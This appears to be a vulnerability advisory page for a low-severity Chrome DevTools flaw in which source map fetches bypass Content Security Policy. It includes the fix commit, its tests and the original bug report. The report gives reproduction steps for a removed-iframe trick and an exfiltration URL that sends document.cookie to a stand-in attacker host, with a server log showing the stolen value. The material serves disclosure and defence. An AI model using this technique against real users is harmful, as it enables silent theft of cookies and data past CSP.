Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactIncorrect authorization in Sources
DescriptionIncorrect authorization in Sources
ComponentSources
Bug ClassLogic Error
Tracker490773579
Fix commit94bfd04bf58c (devtools/devtools-frontend) +110/-1
CISA KEVNot listed
Creditedlebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab
Disclosed2026-09-08

Changed Functions

FunctionChangeNotes
if
front_end/core/sdk/PageResourceLoader.ts
modified
for
front_end/core/sdk/PageResourceLoader.ts
modified

Files Changed

  • front_end/core/sdk/PageResourceLoader.test.ts
  • front_end/core/sdk/PageResourceLoader.ts
From 94bfd04bf58c052951ae7a834b6f42df7338ca5a Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Wed, 11 Mar 2026 08:56:45 -0700
Subject: [PATCH] Prevent CSP bypass in source map fetches via removed frames

Currently, DevTools only blocks its unsafe fallback mechanism for
source map requests if it receives a literal "CSP violation" error
from the target. An attacker can bypass this by triggering a fetch
from an injected iframe and immediately removing it. This causes the
primary load to fail with a "Frame not found" error, which
incorrectly triggers the fallback and bypasses the page's Content
Security Policy.

This CL addresses the issue by querying the frame's security posture
(via `Network.getSecurityIsolationStatus`) before initiating the fetch.
If a restrictive CSP (`connect-src` or `default-src`) is detected,
any failure from the target load is treated as a terminal security
failure, preventing the unsafe fallback mechanism from executing.

Bug: 490773579
Change-Id: I7293ba2f112a9cd4ab765dce6de8439afbb0f1b5
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/7656988
Commit-Queue: Simon Zünd <szuend@chromium.org>
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Simon Zünd <szuend@chromium.org>
---

diff --git a/front_end/core/sdk/PageResourceLoader.test.ts b/front_end/core/sdk/PageResourceLoader.test.ts
index cba13d6..a5bcb8c 100644
--- a/front_end/core/sdk/PageResourceLoader.test.ts
+++ b/front_end/core/sdk/PageResourceLoader.test.ts
@@ -295,6 +295,94 @@
       });
     }
   });
+
+  describe('loadResource with CSP', () => {
+    it('does not fall back to host bindings if frame has restrictive CSP', async () => {
+      const {loader, settings, targetManager} = setup();
+      settings.moduleSetting('cache-disabled').set(false);
+      const connection = new MockCDPConnection();
+
+      connection.setHandler('Network.getSecurityIsolationStatus', () => {
+        return {
+          result: {
+            status: {
+              csp: [{
+                effectiveDirectives: 'connect-src \'none\'',
+                isEnforced: true,
+                source: 'HTTP' as Protocol.Network.ContentSecurityPolicySource,
+              }],
+            },
+          },
+        };
+      });
+
+      connection.setHandler('Network.loadNetworkResource', () => {
+        return {
+          error: {
+            code: -32000,
+            message: 'Frame not found',
+          },
+        };
+      });
+
+      const target = createTarget({connection, targetManager});
+      const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`};
+      const url = urlString`https://example.com/source.map`;
+
+      const loadHostBindingsStub =
+          sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource');
+
+      try {
+        await loader.loadResource(url, initiator);
+        assert.fail('Expected loadResource to throw');
+      } catch (e) {
+        assert.strictEqual(e.message, 'Frame not found');
+      }
+
+      // Verify fallback was NOT called
+      sinon.assert.notCalled(loadHostBindingsStub);
+    });
+
+    it('falls back to host bindings if frame has no restrictive CSP', async () => {
+      const {loader, settings, targetManager} = setup();
+      settings.moduleSetting('cache-disabled').set(false);
+      const connection = new MockCDPConnection();
+
+      connection.setHandler('Network.getSecurityIsolationStatus', () => {
+        return {
+          result: {
+            status: {
+              csp: [],
+            },
+          },
+        };
+      });
+
+      connection.setHandler('Network.loadNetworkResource', () => {
+        return {
+          error: {
+            code: -32000,
+            message: 'Frame not found',
+          },
+        };
+      });
+
+      const target = createTarget({connection, targetManager});
+      const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`};
+      const url = urlString`https://example.com/source.map`;
+
+      const loadHostBindingsStub =
+          sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource')
+              .callsFake((_url, _headers, streamId, callback) => {
+                Host.ResourceLoader.streamWrite(streamId, 'fallback content');
+                callback({statusCode: 200});
+              });
+
+      const result = await loader.loadResource(url, initiator);
+      assert.strictEqual(result.content, 'fallback content');
+      sinon.assert.calledOnce(loadHostBindingsStub);
+    });
+  });
 });
 
 describe('PageResourceLoader', () => {
diff --git a/front_end/core/sdk/PageResourceLoader.ts b/front_end/core/sdk/PageResourceLoader.ts
index bf4335c..6439842 100644
--- a/front_end/core/sdk/PageResourceLoader.ts
+++ b/front_end/core/sdk/PageResourceLoader.ts
@@ -334,6 +334,27 @@
         initiator.target;
     Host.userMetrics.developerResourceScheme(this.getDeveloperResourceScheme(parsedURL));
     if (eligibleForLoadFromTarget) {
+      let mustEnforceCSP = false;
+      const isHttp = parsedURL.scheme === 'http' || parsedURL.scheme === 'https';
+      if (isHttp && initiator.target) {
+        const networkManager = initiator.target.model(NetworkManager);
+        if (networkManager) {
+          let status = await networkManager.getSecurityIsolationStatus(initiator.frameId);
+          if (!status && initiator.frameId) {
+            status = await networkManager.getSecurityIsolationStatus(null);
+          }
+          if (status?.csp) {
+            for (const csp of status.csp) {
+              const directives = csp.effectiveDirectives;
+              if (directives.includes('connect-src') || directives.includes('default-src')) {
+                mustEnforceCSP = true;
+                break;
+              }
+            }
+          }
+        }
+      }
+
       try {
         Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET);
         const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary);
@@ -341,7 +362,7 @@
       } catch (e) {
         if (e instanceof Error) {
           Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE);
-          if (e.message.includes('CSP violation')) {
+          if (mustEnforceCSP || e.message.includes('CSP violation')) {
             return {
               success: false,
               content: '',
Loading diff…

Original Bug Report

reported by al...@gmail.com

Fetching source maps can bypass `connect-src` CSP via a removed frame

VULNERABILITY DETAILS

Summary

Following the decision made in issue 361116749, sourceMappingURL requests should be blocked by the connect-src CSP directive.

However, this vulnerability allows an attacker to bypass CSP and send requests to their own server, even if the connect-src directive (or its fallback) forbids it.

Bisect and Root Cause Analysis

The check at PageResourceLoader.ts:344 only prevents the fallback if loadFromTarget fails specifically with a CSP violation error:

      try {
        Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET);
        const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary);
        return result;
      } catch (e) {
        if (e instanceof Error) {
          Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE);
          if (e.message.includes('CSP violation')) {
            return {
              success: false,
              content: '',
              errorDescription: {
                statusCode: 0,
                message: e.message,
              }
            };
          }
        }
      }
      Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FALLBACK);

Because the source map fetch is asynchronous, if the target frame is removed before loadNetworkResource, loadFromTarget will fail with a different error: Frame not found. When this happens, the fallback mechanism is still triggered, successfully sending the request to the attacker’s server.

The check for e.message was introduced in the following commit:

https://source.chromium.org/chromium/_/chromium/devtools/devtools-frontend/+/5c8833cfccc90880d3dc648b64cc6786a48a2d0e

Attack Preconditions

The victim (most likely a developer) opens DevTools on a page controlled by the attacker via XSS

Impact Analysis

I believe this carries the same impact and severity as issue 361116749 (previous discussion regarding the impact can be found in comment #3). A remote attacker can abuse this vulnerability to bypass CSP and exfiltrate sensitive data to their server, despite restrictive connect-src or fallback directives.

Additionally, this behavior is completely silent; the user will not notice the request even if they check the DevTools Network panel.

VERSION

Chrome Version: 145.0.7632.76 stable

Operating System: Linux, Mac, Windows

This vulnerability is also present in Chrome 147.0.7692.0 canary.

REPRODUCTION CASE

  1. Create a directory structure like this with the attached file:
.
└── index.html
  1. Update your /etc/hosts file to resolve cross-origin.test to 127.0.0.1. (Alternatively, change the ATTACKER_URL in index.html to your own server’s URL.)
  2. Start a local web server in the directory. For example, using Python:
python3 -m http.server 1337
  1. Open http://localhost:1337/ with DevTools opened.
  2. index.html attempts to create an iframe using srcdoc, then uses iframe.contentDocument.write to inject a script tag with a sourceMappingURL pointing to http://cross-origin.test:1337/exploit.map?c=${document.cookie}. The iframe is removed immediately after the script tag is written. This ensures the iframe is removed and triggers the fallback mechanism with a Frame not found error instead of a CSP violation.
  3. Even though index.html’s CSP: default-src 'none'; script-src 'unsafe-inline'; does not allow http://cross-origin.test:1337, the source map request to http://cross-origin.test:1337/exploit.map will still be sent. The expected server log (using Python’s http.server) should look like this:
$ python3 -m http.server 1337
Serving HTTP on :: port 1337 (http://[::]:1337/) ...
::1 - - [08/Mar/2026 17:02:21] "GET / HTTP/1.1" 200 -
::1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::1 - - [08/Mar/2026 17:02:21] "GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1" 404 -
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] "GET /exploit.map?c=secret%3Dflag%7Bcredentials_that_attackers_want_to_steal%7D&t=1772960541600 HTTP/1.1" 404 -

CREDIT INFORMATION

Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.

View on issue tracker